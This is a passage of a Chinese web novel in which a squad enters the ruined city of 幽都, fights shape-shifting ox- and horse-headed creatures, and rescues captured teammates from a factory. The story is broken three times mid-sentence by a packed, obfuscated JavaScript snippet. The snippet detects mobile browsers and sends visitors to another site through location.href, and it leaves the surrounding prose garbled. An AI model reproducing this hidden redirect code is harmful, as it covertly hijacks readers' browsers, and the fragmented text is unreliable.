“王得福是从幽都逃出来的,或许只是为了抓他,”靳炎说,“姜蝉和小澄可能是意外。” “小澄肯定是意外,”欧冶补充道,“本来是要抓我的,被我挡开了。” 如果是抓王得福顺带抓走了两人,那么他们大概率会被带到幽都。 “我们得去幽都探个究竟了。”夜聆枢说。 她看向景叙阳:“你这个东西靠谱吗?” 景叙阳看了一眼手里的罗盘:“应该没问题。” 夜聆枢看到罗盘底部发光的符文,心里一点也不踏实,但眼下去幽都只有这一个办法。 她叹了口气:“信你一次,别出岔子。” 景叙阳看着她的眼睛,平静的目光下藏着难以察觉的疲惫。他很想把她拉进怀里,紧紧抱住她,但是下一刻夜聆枢就抬起眼,转向其他人下达指令。 等她再穿过身来,看向前方的眼中一片清明。 她比他想的强大太多。 景叙阳想,从前那些担心和阻拦,大概都是多余的。 坐下休息时,夜聆枢见罗盘背面的符文几乎黯淡无光。 “符文的光芒越来越弱了,能坚持到幽都吗?” 他们跟随符文的指引赶了两天路,景叙阳说这个符文最多维持三天。 “离得不远了,”景叙阳说,“你试试能不能感应到周围的频率,小心一点。” 这两天夜聆枢一直想要用谛频探测环境,都被景叙阳拦下。 他说谛频会干扰符文的追踪效果,其实是担心反复启用谛频会让夜聆枢受伤。 别人不清楚夜聆枢的情况,他可是非常了解。 夜聆枢展开谛频,发现周围有密集的灵能分布,说明这里的灵能很强,从数据上看算灵能热点区。 “靠近热点区了,”夜聆枢说,“你能探测出还有多久到幽都吗?” 景叙阳盯着罗盘:“不太准确,我估计不到二十公里。” 夜聆枢点了下头:“好。” “队长,”靳炎拿着望远镜往罗盘指示的方向看,“我看到那边有座城。” 夜聆枢闻言立马站起身,朝靳炎说的方向看过去。 视野尽头隐约有城市的模样。 “整理装备,做好战斗准备,”夜聆枢说,“我们今天进入幽都。” 幽都还没有进入她的频率探测范围,她感知不到里面有多少能量体。但环境中的灵能如此密集,城里的能量体怕是不少。 站在幽都外,他们才真正感受到那股威压。 一道裂谷将他们和城市分开,仅有一座吊桥通往对面。 桥边的一块石碑上写了两个字“幽都”。 “就是这里了,”景叙阳收起罗盘,“那个人身上残余的灵能就来自这里。” 夜聆枢握紧定风,感应到城内密集的灵能。 她心中一沉,这么多能量体! “城里有很多能量体,大家随时警惕周围。” 她的目光扫过每一个队员,最后落在靳炎身上。靳炎握住枪托,冲她点了下头。 幽都和浮玉县完全不是一个年代的产物。这是一座充斥着高楼大厦的现代城市,却和浮玉县一样蒙着一层末日之后的灰暗。 城里一片死寂,他们穿行在城市的废墟中,脚步声都被吸收殆尽。 “遮挡视线的建筑太多了,”徐归尘环顾四周,“夜队长,你能感应到能量体吗?” “暂时没有,”夜聆枢压低声音,“这座城市的灵能频率很杂乱,似乎有什么在干扰它。” “有姜蝉和小澄的频率吗?”靳锬问。 夜聆枢仔细搜寻了一番:“没有。” 他们沿着大路往前走,逐渐深入这座城市。 马路两旁高楼林立,有的残破不堪,有的坍塌倒地。几辆汽车横七竖八地停在路上,周围散落着钢筋和水泥板。 像是灾难突然到来,整座城市瞬间被遗弃。 欧冶走近一辆车,想看看车里有什么。 他直起身时,余光瞥见一个影子从楼后闪过去。 “那边有人!” 他们追上去,见三十米外的路口有一个人影,轮廓像极了蓝予澄。 “小澄——”欧冶朝那个方向大喊。 那边的人转过头,慢慢朝他们走来。 他们后退一步,抬起武器。 “不是蓝予澄。”夜聆枢低声说。 话音刚落,靳炎果断开枪,杀伤模式下的枪口迸发出一道白光,直接贯穿“蓝予澄”的喉咙。 他一声不响地倒下。 确认目标击毙,他们上前查看。倒在地上的人已经不是蓝予澄的模样,只是与他身形相仿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669452|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夜聆枢用棍子把人翻过来,看到面部的时候吃了一惊。 一张马脸! “这是人?!”欧冶不可思议地瞪着这张脸。 “看来这东西真的会幻化人形。”靳炎蹲下来,仔细看了看这张面孔,用□□又戳又划,研究了一番,站起身来。 “长在脸上,不是面具。”他得出结论。 “看上去没什么战斗力,一枪就毙命。”徐归尘说。 “我用的杀伤模式,这一枪有最大威力的百分之八十。”靳锬说。 “他在模仿蓝予澄,肯定见过他,”夜聆枢说,“他们肯定在这里,我们接着找!” 她放出谛频,短暂地探测后说道:“五公里内有三个能量体,注意隐蔽。” 靳锬抬头看了一眼旁边的楼:“队长,我建议到高处,方便观察周围情况。” 夜聆枢闻言抬起头,见旁边是一栋十层高的楼,结构完好,和旁边建筑的距离不远,是个不错的观测点。 他们检查了周围的情况,未发现可疑目标,登上了楼顶。 靳炎和徐归尘迅速用楼顶的物品搭建了简易掩体,欧冶将重炮架起,三人分别守住三个方位。 夜聆枢不停地探听五公里内的灵能频率波动。现在没了蓝予澄,她就是唯一的监测仪器。 “靠近了,”她说,“距离三点五千米,三个能量体。” “能感知灵能等级吗?”靳锬盯着地面头也不回。 “不能。” 景叙阳端着枪,回头看了夜聆枢一眼。 “别太频繁地用谛频,”他略微皱眉,“这里和普通异空间不一样,和现实世界的环境更相似,你……” “别说话!”夜聆枢低声喝止。 她正在密切关注一个能量体,对方似乎察觉到了他们的存在,正迅速靠近。 “注意,”夜聆枢握紧定风,“一个能量体正在靠近,距离约一千米,预计三分钟内进入视线。” 靳炎盯着枪身的灵能雷达,压低呼吸频率,缓慢地吸气吐气。 雷达上出现一个点,他瞳孔微缩,聚精会神地盯着目标的方向。 那边是一个视野盲区,对面大楼挡住了交叉的另一条路,目标正是从那条路上走来。 “二百米。”夜聆枢的声音传来。 靳炎屏住呼吸,手指扣紧扳机,目光透过瞄准器盯住拐角。 一个熟悉的身影闯入视野。 这次是姜蝉! “发现能量体,”靳炎的目光跟着假姜蝉,“模仿姜蝉,正在靠近。” 地面上的“她”突然停下,在原地转了一圈,环顾四周。 当“她”看向对面时,枪口无声地射出一发灵能弹,精准打入后脑。 “姜蝉”身形一顿,还没来得及转头,后颈和后背接连遭到几枪,两腿一软,跪倒在地。 欧冶探出头:“死了?” “变了,不像姜蝉。”靳炎举起望远镜看了一眼。 “还有两个能量体在靠近,”夜聆枢说,“别放松警惕!” “还有多远?”靳炎调整姿势继续蹲伏。 “八……”夜聆枢话没说完,被颅内一阵剧痛打断。 突如其来的疼痛就像有人在脑子里放了鞭炮,她拼命握紧定风想要稳住身体,还是不受控制地往地上栽。 一双手臂稳稳地托住她,一片混沌中景叙阳的声音含糊地传来。 “聆枢?聆枢你怎么样?聆枢!” 15. 追了 夜聆枢强行将谛频中附加的灵能收回,重重按了按眉心,强迫自己保持清醒。 “聆枢,你怎么样?”景叙阳脸色发白,眼里是毫不掩饰的慌张。 夜聆枢意识回笼,压下喉咙里泛起的恶心,睁眼发觉自己靠在景叙阳怀里,抬手挡开他,别过脸:“我没事。” 景叙阳又不是傻子,当然能看出她在逞强。 他伸手够她的手,却捞了个空。夜聆枢径直走向靳炎,蹲在掩体旁。 “我暂时探测不到未知,随时注意。”她对三人说道。 “队长,”欧冶从观测器中看到了三百米处的能量体,“这边来了一个。” 夜聆枢拿起望远镜朝他的方向看去,视野中出现一个披着破布的人,摇摇晃晃地走出来。 她认出那张脸,是他们前几天刚抓住的王得福。 “开火。”她简短地吐出两个字。 欧冶一刻也不犹豫,砰的一声炮响轰在目标上。尘土散去,地上留下一个直径一米的坑和炸成几块的残骸。 旁边的建筑收到波及,稀里哗啦掉下来一堆砖石,把这些痕迹掩埋住。 “是不是还有一个?”徐归尘转头问夜聆枢。 她犹豫一瞬,垂眼将注意力集中在频率谛听上,慢慢将灵能渡过去。 景叙阳知道她又要谛频,想拦又不能拦,只能站在旁边干看着。 冒然打断的危害更大,他还不至于那么蠢。 “还有一个,”她抬起眼,谛频仍未中断,“很近了,二百米以内。” 三人盯着地面,生怕错过任何一个细节。 马路上空空荡荡,没有一个人影。 夜聆枢拿着望远镜四处观察,另一边分出精力追踪频率:“一百米。” 靳炎起身跑到另一边,在灵能雷达的指示下观察了一番:“没有发现目标。” 一百米肯定在观察范围内,怎么什么也看不到? 又是什么把戏? “三十米。” 危机悄然靠近,他们却无法找到敌人的位置。 颅内一阵胀痛,夜聆枢扶住头,尽力集中注意力:“二十米。” 景叙阳突然想到了什么,抬头看向一旁的楼顶。 楼顶边缘立着一个人影,背着光看不清样貌。 他抬起枪:“上面!” 其余三人立刻跳起,集中火力对着那个人影一顿扫射。对方身形一闪消失在楼顶,很快传来“咚”的一声,一个人影从地面跑过去,进入了视野盲区。 “追!” 他们追到大路上,眼前是空荡荡的马路,对方早已不见踪影。 靳炎看了一眼灵能雷达:“没跑远,一公里内。” “雷达范围内没有其他能量体。”他补充道。 夜聆枢收回谛频,不需要精准定位时雷达完全可以代替定位仪,不需要她费力。 她知道自己到了谛频的极限,过度使用恐怕就要适得其反。 “关注目标动向,警惕周围。”她带头走在最前面。 追了两条街,他们在一个路口停下来。 “不对劲,”靳炎说,“这个能量体不是在逃跑,它在引诱我们去什么地方。” 对方明明可以迅速逃离,却一直保持着一定的距离,甚至还在双方拉开距离时停在原地等待。 意图太明显了。 夜聆枢站在路口,环顾四周。周遭一片安静,没有一点生机。 她闭上眼。 景叙阳皱眉,正要阻止她,头顶一声巨响,阴影骤然笼罩。他来不及多想就一把扯过夜聆枢,两人一起扑倒在地。 身边轰的巨响,顿时尘土飞扬。 “队长!”靳炎和欧冶同时惊叫,奔向两人。 徐归尘跟上几步,猛然回头,端着枪扫视四周。 夜聆枢还没从谛频被打断的眩晕中缓过劲来,被景叙阳扶着坐起来。欧冶和靳炎蹲在他们面前,焦灼地查看两人的状况。 “怎么回事?”夜聆枢努力让自己保持清醒。 景叙阳定睛看过去,刚刚从天而降的居然是一辆报废的汽车。 “有人偷袭,”徐归尘看着上方,“这里不安全,快走!” 话音刚落,又是几声巨响。他们来不及多想,起身就跑。气浪从身后扑过来,一股大力几乎要把他们推倒在地。 欧冶转身对准楼上开炮,几声炮响后水泥掉落一地,楼板被打穿,从外面看露出一个大洞。 靳炎和徐归尘分别守住正面和背面。靳炎的枪口瞄准巨大的缺口,看到任何人影都会立刻开枪。 偷袭者还未现身,马路上卷起滚滚烟尘,顿时将四面八方的视野变得模糊。尘埃中,徐归尘看到模糊的人影,端起枪。 与此同时,欧冶和夜聆枢也看到了不同方向出现的人影。 夜聆枢迅速瞥了一眼景叙阳的雷达,七八个能量体正在靠近。 人影在距离他们一百米的地方停下来。 楼上的那个洞口,在靳炎的注视下,终于露出了偷袭者的模样。 靳炎定睛一看,竟是一个人身牛面的怪物! 景叙阳向上方看去,路边二层楼房的屋顶投下两个高大的黑影,仔细辨认,一个牛头一个马面。 尘土落地,那些半隐半现的人也露出模样。他们高矮胖瘦各异,却没有一个长着人脸,全都是牛或马的模样。 牛头马面四处游荡,怪不得这里叫幽都。 夜聆枢一边盯着他们的动向,一边在脑子里迅速推演战术。 现在蓝予澄不在,没法分析他们的灵能等级,不能冒然动手。 欧冶面前的牛头拖起大刀,低头向他们冲过来。 欧冶开炮轰在他的面门,让他无法前进,却只是后退半步。 其他牛头马面纷纷提起武器,刚抬起腿就被枪弹击中。威力强大的灵能枪打在他们身上,居然连骨头都打不穿。 景叙阳的枪法一如既往的烂,开十几枪没有一枪打在要害上。靳炎一枪打穿喉管,转身又一枪撂倒另一个。徐归尘先双腿,等他们跪倒再往头上补枪。 夜聆枢握着定风,把楼上那些怪物打得四处逃窜,不敢下来。 楼上的牛头举起斧子一跃而下,在空中被欧冶轰了一炮,紧接着被靳炎和徐归尘打成筛子落在地上。 “剩下的几个跑了,队长,我们要不要追?”靳炎看着雷达上能量点迅速远去。 “追上!” 这些牛头马面防御力强,战力不详,移动速度是真的不快。他们跟着雷达的指示方向追了快十公里,找到了一个工厂。 园区外有守卫,他们藏在不远处观察。 “门口这几个看上去比刚刚那些强。”徐归尘说。 话音刚落,给他们带路的几个牛头马面气喘吁吁地出现在门口。守卫比他们高处一头多,肌肉发达程度也不是一个量级,对比十分明显。 逃回来的匆匆说了些什么,慌忙进了工厂。守卫转动旁边的绞轮,围墙上升起一排铁刺。 “这什么年代的工程啊,也太古早了吧。”欧冶忍不住吐槽了一句。 “难道这些怪物是祭坛守卫?”靳炎盯着他们手里的长矛。 “不像,”徐归尘通过瞄准器观察着敌人,“守卫没有自主意识,只会无差别进攻入侵者。” 夜聆枢缩回身子,靠在藏身的箱子上坐下,调整呼吸。 景叙阳见状立马按住她的手:“这里的灵能很纷乱,你不能再过度谛频了。” 他正好按在夜聆枢的左手腕上,手环隔着衣服传来未散去的余热。 夜聆枢抬起头看着他:“我要看看姜蝉和蓝予澄在不在这里,如果他们不在,计划就要改变。” 景叙阳把手按得更紧:“也可以有别的办法,让我……” “这是最快的,”夜聆枢打断他,“我还没那么脆弱。” 她拂开景叙阳的手,合上眼。 谛频者可以探听到探查范围内所有的灵能频率,能力越强范围越大,一般用来范围性勘察。夜聆枢受过训练,能够针对性搜索,在消耗最少的情况下查看目标是否存在。 工厂里的能量体多得出乎她的意料,涌入脑中的大量频率搅得她一阵阵不适。夜聆枢稳住心神,在大批的频率中搜寻着队友。 “有了,”她睁开眼,“姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673562|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝉和蓝予澄在里面,但是位置很深。” “里面什么情况?”靳炎问道。听她这么说,他知道她又动用谛频。 “整个工厂三层或者四层,能量体很多,他们在最下层。” 闻言,靳炎皱起眉头。 “情况不太乐观,”徐归尘听了直摇头,“硬闯和智取都不容易。” “哎,”欧冶灵光一现,“我们能不能伪装一下偷偷潜进去?” 八道探照灯般的目光打在他身上。他被盯得发毛,说话也有点结巴:“就就就,装成牛头马面,混混混进去。” 回答他的是一片鸦雀无声。欧冶抿着嘴,咽了口唾沫,肩膀上突然落下一只手,拍了两下。 他一回头,对上景叙阳的微笑,听见对方说:“想法不错,但伪装材料不好找,而且他们不会在内部变成人形。” 欧冶挠了挠头:“那该怎么办?真的要打进去吗?” “队长,你估计里面有多少人?”靳炎问道。 夜聆枢沉吟片刻:“三百往上。” “你能分辨出哪些是人,哪些是怪物吗?”徐归尘突然问了一句。 “我没有详细分辨,那里面的灵能频率很纷乱。”夜聆枢说。 她心底生出一种深深的无力感,偏偏在这个时候掉链子,最该用谛频的时候,自己却没法出力。 要是这该死的能力能控制自如就好了。 任务中不容分心,夜聆枢迅速收回思维:“靳炎,你跟我绕到其他方位观察情况,其他人原地待命。” 欧冶见景叙阳盯着夜聆枢远去的背影,突然问道:“景哥,你有没有什么符文能用?” 景叙阳摇了摇头:“符文需要经过改造才能投入使用,我只研究出了几个最简单的。” “有没有能检测灵能波动的符文?”徐归尘问道。 “符文相当于一个程序,有输入才有输出。如果没有导入灵能,什么符文都不起作用。”景叙阳解释道。 “我怎么觉得天有些暗了。”欧冶抬头看了看天色,又看了眼时间。 “是快天黑了,”徐归尘说,“自从那次空间扭曲后,昼夜交替非常规律。” 景叙阳翻了翻随身携带的笔记本,在地上画了几个符文。一瞬间的微弱光芒后,没有任何事情发生。 他抬起手,拇指反复摩挲着下巴。这是他的习惯性思考动作。 夜聆枢和靳炎绕了一圈回来,徐归尘迫切地问道:“有什么发现?” “四面都有守卫,还有流动岗,”靳炎说道,“围墙把工厂围的水泄不通,上面的铁刺也没有一处空缺。” 这情况让所有人都犯了难,营救似乎变成了一个不可能的任务。夜聆枢望向逐渐变暗的天空:“马上天黑,说不定能找到换岗或者其他机会,先点一盏灯。” 他们把灯包裹起来,不让光亮过于显眼,只照亮周围的一小片区域。对面出现了点点光亮,仔细辨认,是牛头马面拿着火把在站岗。 “他们没有灯吗?还要点火把?”欧冶纳闷,“这都什么年代的东西啊?” “他们和这座城市不属于一个时代,”徐归尘说,“连武器都是冷兵器。” 景叙阳蹲伏在夜聆枢身边,后肩缝针的地方爬上一阵细密的痒意。他咬了下嘴唇,忍住伸手去挠的意图。 他很想拉住面前的夜聆枢,从她那里获取一点安慰。但她正聚精会神地盯着敌人的动向,他只好压下这个想法。 一阵凉风吹来,他打了个寒战。 夜聆枢立刻回头:“怎么了?” “没事,”他轻声说,“刚刚那阵风有点凉。” “多穿件衣服。”夜聆枢留下这句就转过去。 景叙阳不敢有大动作,生怕出意外暴露藏身地点,缩了缩身子继续蹲伏。 只一会儿,那股凉意又吹了过来,不是低温的风,而是往骨肉里渗的寒意。 直觉告诉他不对劲。 “聆枢,”他低声唤道,“你有没有感觉到一阵寒意。” 夜聆枢有些不耐烦:“冷了就加衣服。” “不是冷,”他接着说,“是一股气场,很特殊的气息。” 16. 乱了 听他这么说,夜聆枢起了警惕,直起身子望向四周。 路面一如既往,空空荡荡。 “我也有感觉,”靳炎这时说,“不是凉意,更像是阴冷的杀气。” 欧冶搓了搓胳膊:“我就说怎么有点冷。” “你们有没有感觉到有一股能量正在靠近?”徐归尘突然说。 他们沉吟片刻,不约而同地点点头。强大能量体外放灵能造成的压迫感难以忽视,即使对方相隔甚远,也能被感受到。 “不会是大BOSS吧。”欧冶嘀咕了一句。 工厂外的守卫也察觉到了异常,交流之后一人进入工厂,很快带出了十多人。一群牛头马面拿着长短不一的盗抢棍棒,列阵守在园区门口。 “他们似乎也怕,看来这东西不一般,”徐归尘看向夜聆枢,“夜队长,你能用谛频探测一下情况吗?” 她还没开口,景叙阳直截了当地回绝:“不能。” 徐归尘还没反应过来,听到对方又补了一句:“累着她你又不负责。” 空气凝固了两秒,夜聆枢愣是一声没出,尴尬地闭上嘴。 景叙阳的目光在昏暗的光线下盯着徐归尘,让他觉得这个研究员有几分吓人。 靳炎赶紧打圆场:“谛频太过频繁对身体有损伤,幽都环境很复杂,能不用就尽量不用。” 欧冶斜着眼睛,偷瞄着景夜两人。要不是现在情况危急,他肯定要大呼小叫地磕一番。 等把姜蝉救出来一起磕也不迟。 “我看见了,”靳炎举着望远镜对着道路尽头,“这,也不像人。” 他们一齐看过去,黑夜里有一团东西隐隐向这边移动。牛头马面登时紧张起来,指挥着把大门闭紧。 那种渗入骨肉的寒意把他们包裹起来,威压越来越近。“呼”的一下,所有火把全部熄灭。 靳炎赶紧捂住昏暗的灯光,生怕暴露。 工厂顶冲出一束光,利剑一下砍下来,正好照亮他们眼前那片地方。 黑袍裹着光下的人,身后拖着长长的影子,背对着他们。一柄镰刀横在身前,刀尖滑过锋利的冷光。 “这是什么东西?”欧冶不敢出声,只动了动嘴唇。 牛头马面难以控制地颤了两颤,堵在它的面前。 他们透过黑衣人,看到有几个怪人的腿在颤抖。 看上去凶煞的怪人都如此畏惧,这是什么存在? 拿着长矛的牛头大喝一声,挺着长矛就冲上去。黑衣人抬起镰刀,银光划破空气,“咚”的一声闷响砸在地上。 空气中弥散开浓郁的血腥味。 镰刀尖一抹猩红,衬得刀尖愈发冷冽。他拖着长镰,鬼魂一样向怪人们飘去。 牛头马面装模作样地挥了两下手中的武器。镰刀举起时,一阵杀猪般的嚎叫传出来,他们四散逃窜。 刀锋划过,灵光破空而出,将没跑多远的怪人砍倒一片。 空气中的血腥味愈发浓重,夹杂着呻吟。黑衣人飘向大门,一声巨响炸在他面前,拦住他的行动。 工厂顶部的大灯旁出现一个高大的黑影,身边是一门大炮。 “一群饭桶!跑什么!守住!”厚重的声音盖下来,喝住了所有慌忙逃窜的牛头马面。 “这玩意儿还会说人话啊?”欧冶震惊。 工厂里涌出一大群牛头马面,朝黑衣人冲上去。武器碰撞和喊杀声混成一片,时不时还有来自上方的炮击。 “别看了,趁乱进去。”夜聆枢拍了欧冶一把,猫着腰从掩体后窜出去。 牛头马面的精力全都放在对付黑衣人上。他们顺利后门溜了进去。欧冶踹开门,正好对上两个留守的牛头。 牛头愣愣地看着他,欧冶突然有点不好意思。 两朵血花喷出,牛头还没出声就倒在地上。欧冶还没反应过来就挨了靳炎一巴掌:“发什么呆,走了。” 工厂里守卫本来就不多,三下五除二被他们解决掉。夜聆枢解决了守卫,往下层一看—— 最下层全是人脸,正仰头看着他们。 欧冶扒着栏杆往下看:“蝉姐和小澄在吗?” “队长——”蓝予澄的声音从下面传来。 他们听到蓝予澄的声音,惊喜之余松了口气。下到最底层,却对上了许多双眼睛。 夜聆枢拦下差点冲进人群的欧冶,抬起棍子对着眼前的人。 “你们是什么人?” 离她最近的男人灰头土脸,眼睛却明亮:“我们都是俘虏。” 他抬起双手,两只手腕上都扣着铁环。 夜聆枢扫过周围的人,他们的手上都扣着铁环。 人群一阵骚动,姜蝉和蓝予澄穿过分开的人群走过来。夜聆枢把两人从头到脚看了一遍:“怎么样?有没有受伤?” “没事,”姜蝉拍了拍她的胳膊,“你该来看看这个。” 夜聆枢一头雾水。人群分开一条路,让姜蝉把他们带到了工厂的深处。 “你们这几天经历了什么?”虽然频率告诉她这就是姜蝉,夜聆枢还是不放心。 “被抓来当劳工,”姜蝉说,“所以我要带你们来看看这个。” 工厂深处立着几根石柱,从地面一直连接到顶部,围绕着圆形的石阶。 “是祭坛?”这很像其他异空间里的祭坛。 “是,也不是,”姜蝉说,“这里有将近一百个俘虏,被抓来建这个祭坛。” “其他人是真正的原住民,他们说这是法阵的一部分,这只是其中之一。” 欧冶挠了挠头:“啥意思啊蝉姐,我咋没听明白。” 夜聆枢也云里雾里,把姜蝉一拉:“先不管这些,离开这里再说。” 他们跑出工厂,结果那些俘虏也一窝蜂跟着跑了出来。指挥的牛头见状,大吼一声:“别让人跑了!” 欧冶瞄准牛头开炮,居然没把他从房顶打下来。牛头马面冲上来,人群顿时乱作一团四散奔逃。 徐归尘和靳炎开枪打倒拦路的马面,从缺口杀出去。夜聆枢殿后,解决了追上来的两个。大部分怪人的注意力被人群吸引走,还有一些在对付黑衣人,他们趁乱跑进视野盲区。 狂奔了几条街道他们才停下来。欧冶喘着气往身后看:“没……没有追上……吧……” 工厂的灯光已经难以看到,周围没有异常的声响。他们打开手电筒,去找落脚的地方。 最后选中了一个烂尾楼。 “太惊险了,我还以为又有一场恶战。”欧冶靠墙坐着。 夜聆枢把他叫起来:“先别急着休息,看看这个铁环怎么开。” 姜蝉和蓝予澄手上扣着铁环,严丝合缝地贴着皮肤。欧冶左看右看:“这是灵能手铐?” 姜蝉点了点头。欧冶又仔细看了看:“没有锁孔啊,我看看能不能弄断。” 夜聆枢见他拿个钳子比划,出声道:“小心点。” 欧冶捣鼓了半天,只在上面留下几道划痕。他纳闷地凑近看:“这什么材质?怎么夹不动?” “我听那些人提了了一句,似乎不是普通材料。”姜蝉抬起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679183|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕看了看。 欧冶拿了个锉刀:“我再试试这个。” 夜聆枢生怕他给姜蝉手腕挫断了,一直盯着:“你悠着点。” 姜蝉反而还安慰她:“别紧张,欧冶肯定有分寸。” 她看到夜聆枢的脸色,突然表情凝滞:“你脸色怎么这么差?” “谛频过度,”景叙阳替夜聆枢答道,“命都不要了。” 姜蝉把脸一沉:“你怎么又这样?之前我说过你多少次了,在异空间不能过度谛频,现在这情况又复杂了许多,你就不怕……” “行了,知道,”夜聆枢不耐烦地打断她,“我没事,休息一下就好了。” 姜蝉还想再说她两句,听见欧冶“哎”了一声,于是转过头去。 “奇了怪了,”欧冶说,“这东西挫子也挫不开,咋回事啊?” “是不是有特殊的解法?”靳炎看着蓝予澄手上的手环。 “听那些人的说法,应该是。”姜蝉说。 夜聆枢听她总是提起工厂里的人:“你从他们那里了解了什么?” 姜蝉来了精神:“我正想说。我从他们哪里听到不少事情,有关于幽都的,也有关于异空间的。” 夜聆枢想调整坐姿,刚起身眼前一黑,跌坐回去,吓得景叙阳一把揽过她:“怎么了?” 夜聆枢不动声色地避开他的手,屈起直接按了按眼睛:“没事。” 这是她疲惫时的习惯性动作。 姜蝉皱了下眉,按住她手腕处的脉搏,随后嗔了她一眼,质问道:“你今天用了几次谛频?” “没几次。” 姜蝉盯着她的眼睛:“说实话。” 夜聆枢有些心虚地抿了下嘴,转过脸去。 姜蝉在药箱里找药:“你真是不长心,谛频过度在你身上不是一次两次了,11号空间的教训还不够吗?” 景叙阳竖起耳朵:“什么教训?” “之前清剿11号异空间,灵能探测仪正好坏了,你家夜队长在空间里待了五天,谛频次数超过五十次,总时长超过七个小时。最后是被人抬出来的。” 姜蝉嘴太快,夜聆枢来不及阻止,她就一股脑全说出来了。 “我记得当时是谁随队来着?对,就是靳炎,跟到医院的时候脸都是白的。” 靳炎突然被点名,抬头看了姜蝉一眼。 景叙阳的声音里带上一丝严肃:“然后呢?” “抢救呗,放到重症监护室观察了三天才放出来,灵能科的主任天天会诊。”姜蝉拿出一瓶药,看了看标签。 景叙阳转头看向夜聆枢:“什么时候的事?我怎么不知道?” 夜聆枢不吱声,姜蝉继续发力:“某人三天就想出院,被医院强行摁下住了两个星期。部队让回家休养一个月也不去,天天待在基地。” 夜聆枢终于受不了她:“行了可以了,多久以前的事了,没什么好说的。” 姜蝉把药塞给她,看她就着水咽下,补了一句:“也没多久,大概五六个月前吧。” 夜聆枢正喝水,狠狠瞪了她一眼。姜蝉没看见一样,对景叙阳说:“医嘱不好使,还得家属多费心。” 什么家属,哪门子家属? 都离婚了还叫家属? “你今天话有点多了。”夜聆枢冷冷道。 “这么大的事情怎么没告诉我?”景叙阳问。 “这是我的事,不需要你插手。”夜聆枢硬邦邦地回答。 还没等景叙阳再说话,她转向姜蝉:“说说你知道的情况。” 17. 睡了 “听那些人说,他们在异空间生活的时间很长,因为这里没有四季变化,所以难以估计时间。”姜蝉说。 她比了个手势:“保守估计,三年以上。” “他们自述来自不同的镇子,大多数来自一个叫盐汐的沿海小镇,没有人来自浮玉县。他们平时不会远离居住地,离开小镇就很容易被牛头马面抓走。” 她又补充说:“这些人都是在镇子外被抓来的,但也不是离开就会被抓,有一定几率。” 夜聆枢听她说着,眼皮越来越沉。她知道是药劲上来了,低头按了按眉心。 这个动作没逃过姜蝉的眼睛:“是不是药效发作了?你别硬撑着,赶紧休息。” 她晃了下头,仿佛要把困意甩掉:“你接着说。” 靳炎担心地看向她,又瞥到旁边景叙阳发黑的脸色,犹豫了一下没张嘴。 “牛头马面抓到人之后,会通过传送法阵把人带到这个工厂,”姜蝉说,“这个法阵具体怎么操作不知道,但它是单向的。” “牛头马面可以模仿人,但只能模仿见过的人。” “一天最多模仿三次。”蓝予澄补充道。 “抓人就是为了建造那个祭坛,还有很多人……” 姜蝉第三次看到夜聆枢掐眉心,板起脸严肃道:“夜聆枢你不要再撑了!立刻,马上,休息!” 夜聆枢现在有些迟钝,缓缓抬起眼给了她一记眼刀。姜蝉给景叙阳使了个眼色,他立刻会意。 “别撑着了,你今天消耗很大,吃过药就休息吧。”他很自然地伸手揽过她,低头说道。 夜聆枢用发沉的胳膊挣开他的手,不耐烦地瞪了他一眼,威胁他不要动手动脚。 景叙阳面不改色,根本没带怕的。 刚刚他就想劝夜聆枢休息,现在有了姜蝉的支持更是有恃无恐。 “队长,你先休息吧。姜蝉和小澄刚离开工厂,也需要休整一下。有什么情报要交换等天亮了再说。”靳炎说。 “就是,我都困了,你知道我们这几天过的什么日子吗?”姜蝉附和了一句。 夜聆枢只能妥协:“大家先休息。守夜的事……” “不用担心,我和靳炎可以。”徐归尘说。 夜聆枢点了点头,说了句辛苦,起身想去拿毛毯,差点失去平衡摔一跤。景叙阳把她接在怀里,让她坐在原地:“你别动,我去拿。” 两人看不见的地方,姜蝉又在拼命憋笑。 “扶我一把。”景叙阳拿毛毯回来,夜聆枢向他伸出一条胳膊。 景叙阳把她扶起来,找个干净平整的地方扶她坐下,自己贴着她。 夜聆枢困得快睁不开眼,手上还在推景叙阳:“你别抱着我,离我远点。” 景叙阳按住她的手放到一边,低头快要贴在她脸上:“别乱动,睡觉。” 夜聆枢没劲理他,挪了挪脑袋,还是不可抗拒地靠在了他肩上。 一根温热干燥的手指落在侧颈,不急不缓地滑向肩窝,回到颈部再滑下,一遍一遍重复。 夜聆枢肩背紧绷了一瞬,在安抚下慢慢放松。 从恋爱时开始,景叙阳就喜欢这样安抚她,效果立竿见影,屡试不爽。 景叙阳搂着她慢慢躺下,盖好毛毯。夜聆枢往他那侧挪了挪,似乎找到了一个舒服的姿势,枕在他肩上不再动弹。 